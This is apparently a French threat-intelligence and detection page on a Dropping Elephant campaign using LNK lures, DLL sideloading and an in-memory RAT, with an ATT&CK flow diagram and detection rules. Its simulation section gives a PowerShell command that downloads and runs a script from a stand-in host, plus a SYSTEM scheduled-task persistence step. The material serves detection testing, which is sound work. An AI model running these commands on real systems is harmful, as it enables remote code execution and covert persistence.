Malware à la Mode : À l’intérieur de la chaîne de chargement de Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne sophistiquée attribuée à Dropping Elephant utilise des documents leurres sur le thème de la Chine pour livrer un trojan d’accès à distance mis à jour et résidant en mémoire. L’intrusion repose sur le chargement latéral de DLL via un binaire légitime de Microsoft et le chargeur de shellcode Donut pour éviter la détection basée sur disque. La charge utile finale utilise également des méthodes d’évasion avancées, y compris l’aplatissement de flux de contrôle et la reconstruction d’API à l’exécution.
Enquête
Les chercheurs de Rapid7 ont découvert la menace lors d’une chasse proactive qui a commencé par un raccourci Windows malveillant se faisant passer pour un document PDF. Leur enquête a suivi la chaîne de charge utile depuis la mise en scène initiale sur chinagreenenergy[.]org via le chargement latéral de DLL de APPWIZ.cpl jusqu’à l’exécution d’un RAT en mémoire. L’analyse au niveau du code avec Diaphora a confirmé une filiation commune avec les échantillons antérieurs de Dropping Elephant malgré de nombreuses réécritures.
Atténuation
Les défenseurs devraient prioriser les détections comportementales, telles que les fichiers de raccourcis lançant PowerShell et la mise en scène de charge utile suspecte dans C:UsersPublic. Surveiller les tâches planifiées avec des noms inhabituels et identifier le chargement latéral de DLL de répertoires inattendus est également important. De plus, les défenses des points de terminaison ont besoin de visibilité au niveau de la mémoire pour détecter les altérations avec AMSI, WLDP et ETW.
Réponse
Si cette activité est détectée, isolez immédiatement les systèmes affectés pour interrompre le trafic de commande et de contrôle. Effectuez une analyse de la mémoire pour identifier le RAT injecté et inspectez les tâches planifiées pour la persistance. Les journaux de réseau devraient également être examinés pour détecter les trafics HTTPS non autorisés vers les domaines C2 connus et pour tout signe d’exfiltration de fichiers.
graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Définition des nœuds %% Accès initial et exécution action_user_exec[« <b>Action</b> – <b>T1204.002 Exécution par l’utilisateur : Fichier malveillant</b><br/>La victime exécute un fichier de raccourci malveillant<br/><b>Fichier</b> : GRES3001.lnk<br/><b>Déguisement</b> : icône PDF »] class action_user_exec action action_icon_smuggling[« <b>Action</b> – <b>T1027.012 Fichiers ou informations obscurcis : LNK Icon Smuggling</b><br/>Trompe l’utilisateur grâce à la manipulation d’icônes<br/><b>Méthode</b> : usurpation d’icône de fichier LNK »] class action_icon_smuggling action %% Phase du téléchargeur process_conhost[« <b>Processus</b> – <b>conhost.exe</b><br/>Processus hôte pour les fenêtres de console<br/><b>Rôle</b> : lance le téléchargeur PowerShell »] class process_conhost process action_binary_padding[« <b>Action</b> – <b>T1027.001 Fichiers ou informations obscurcis : Remplissage binaire</b><br/>Utilise l’obfuscation par découpage de chaînes<br/><b>Cible</b> : script téléchargeur PowerShell »] class action_binary_padding action tool_downloader[« <b>Outil</b> – <b>Téléchargeur PowerShell</b><br/>Récupère des fichiers leurres et des charges utiles malveillantes<br/><b>Source</b> : chinagreenenergy[.]org »] class tool_downloader tool %% Après téléchargement et persistance action_masquerading[« <b>Action</b> – <b>T1036.008 Mascarade : Déguisement du type de fichier</b><br/>Renomme les fichiers pour leur donner une apparence légitime<br/><b>Répertoire</b> : C:\\Users\\Public\\ »] class action_masquerading action action_persistence[« <b>Action</b> – <b>T1546 Exécution déclenchée par un événement</b><br/>Assure la persistance via une tâche planifiée<br/><b>Nom de la tâche</b> : GoogleErrorReport<br/><b>Intervalle</b> : toutes les minutes »] class action_persistence action %% Chaîne d’exécution et chargement latéral action_proxy_exec[« <b>Action</b> – <b>T1218.002 Exécution proxy via un binaire système : Panneau de configuration</b><br/>Utilise un binaire légitime pour exécuter le chargeur<br/><b>Binaire</b> : Fondue.exe »] class action_proxy_exec action tool_loader_cpl[« <b>Outil</b> – <b>APPWIZ.cpl</b><br/>Chargeur malveillant du Panneau de configuration<br/><b>Méthode</b> : chargement latéral de DLL »] class tool_loader_cpl tool action_reflective_load[« <b>Action</b> – <b>T1620 Chargement réflexif de code</b><br/>Mappe le code directement en mémoire<br/><b>Chargeur</b> : chargeur de shellcode Donut »] class action_reflective_load action %% Post-exploitation et C2 malware_rat[« <b>Logiciel malveillant</b> – <b>RAT</b><br/>Cheval de Troie d’accès à distance<br/><b>État</b> : résident en mémoire »] class malware_rat malware action_gather_info[« <b>Action</b> – <b>T1592 Collecte d’informations sur l’hôte victime</b><br/>Collecte les métadonnées du système<br/><b>Données</b> : nom d’utilisateur, nom de l’ordinateur, système d’exploitation, adresse IP »] class action_gather_info action action_c2[« <b>Action</b> – <b>TA0011 Commande et contrôle</b><br/>Maintient la communication via HTTPS<br/><b>Domaine</b> : gcl-power[.]org »] class action_c2 action action_exfiltration[« <b>Action</b> – <b>Capture d’écran et exfiltration</b><br/>T1113 Capture d’écran<br/><b>Objectif</b> : vol de données »] class action_exfiltration action %% Flux des connexions action_user_exec –>|mène_à| action_icon_smuggling action_icon_smuggling –>|déclenche| process_conhost process_conhost –>|utilise| action_binary_padding action_binary_padding –>|exécute| tool_downloader tool_downloader –>|télécharge_vers| action_masquerading action_masquerading –>|met_en_place| action_persistence action_persistence –>|déclenche| action_proxy_exec action_proxy_exec –>|charge| tool_loader_cpl tool_loader_cpl –>|utilise| action_reflective_load action_reflective_load –>|installe| malware_rat malware_rat –>|effectue| action_gather_info malware_rat –>|établit| action_c2 action_c2 –>|facilite| action_exfiltration
Flux d’attaque
Détections
Tentative de communication via l’examen de domaine IP (via DNS)
Voir
Exécution inhabituelle par changement de page de code (via ligne de commande)
Voir
Tâche programmée suspecte (via audit)
Voir
Exécution suspecte depuis le profil utilisateur public (via création de processus)
Voir
Bibliothèque dynamique Vcruntime140 chargée depuis un répertoire suspect (via chargement d’image)
Voir
Fichiers suspects dans le profil utilisateur public (via événement de fichier)
Voir
Détection de la campagne de malware de Dropping Elephant [Connexion réseau Windows]
Voir
Chargement latéral malveillant de DLL via Fondue.exe [Événement de fichier Windows]
Voir
Détection de la campagne de malware Dropping Elephant via raccourci et chargement latéral [Création de processus Windows]
Voir
Exécution de la simulation
Prérequis : La vérification préalable de télémétrie et de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif et Commandes d’Attaque : L’adversaire vise à établir la persistance et à exécuter un téléchargeur. Pour contourner les filtres standard des emails, ils utilisent un fichier de raccourci nommé
GRES3001.lnkqui apparaît comme un PDF. Lorsqu’il est cliqué, il appelleconhost.exepour exécuter un script PowerShell. Simultanément, ils établissent la persistance en créant une tâche planifiée nomméeGoogleErrorReportqui est conçue pour s’exécuterFondue.exedepuis un répertoire public, se dissimulant en tant que véritable rapporteur d’erreur Google pour éviter une inspection occasionnelle. -
Script de test de régression :
# 1. Simuler le comportement du raccourci/conhost # Nous simulons l'exécution de conhost.exe avec la chaîne spécifique dans la ligne de commande Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Note : Pour correspondre strictement à la règle 'CommandLine contains GRES3001.lnk', nous simulons l'appel du processus comme s'il provenait de ce fichier. # Comme il n'est pas facile de falsifier le nom du processus parent dans un simple script, nous simulons la chaîne de ligne de commande attendue. Write-Host "[!] Simulation du déclenchement GRES3001.lnk..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # Dans un environnement réel, le champ 'CommandLine' de Sysmon contiendrait la chaîne cible. # 2. Simuler la tâche planifiée et le chargement latéral de Fondue.exe Write-Host "[!] Simulation de la tâche planifiée GoogleErrorReport..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Tâche Dropping Elephant simulée" -User "SYSTEM" -Force Write-Host "[+] Simulation complète. Vérifiez SIEM pour les alertes." -
Commandes de nettoyage :
# Supprimer le binaire malveillant fictif Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Supprimer la tâche planifiée malveillante Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Nettoyage complet."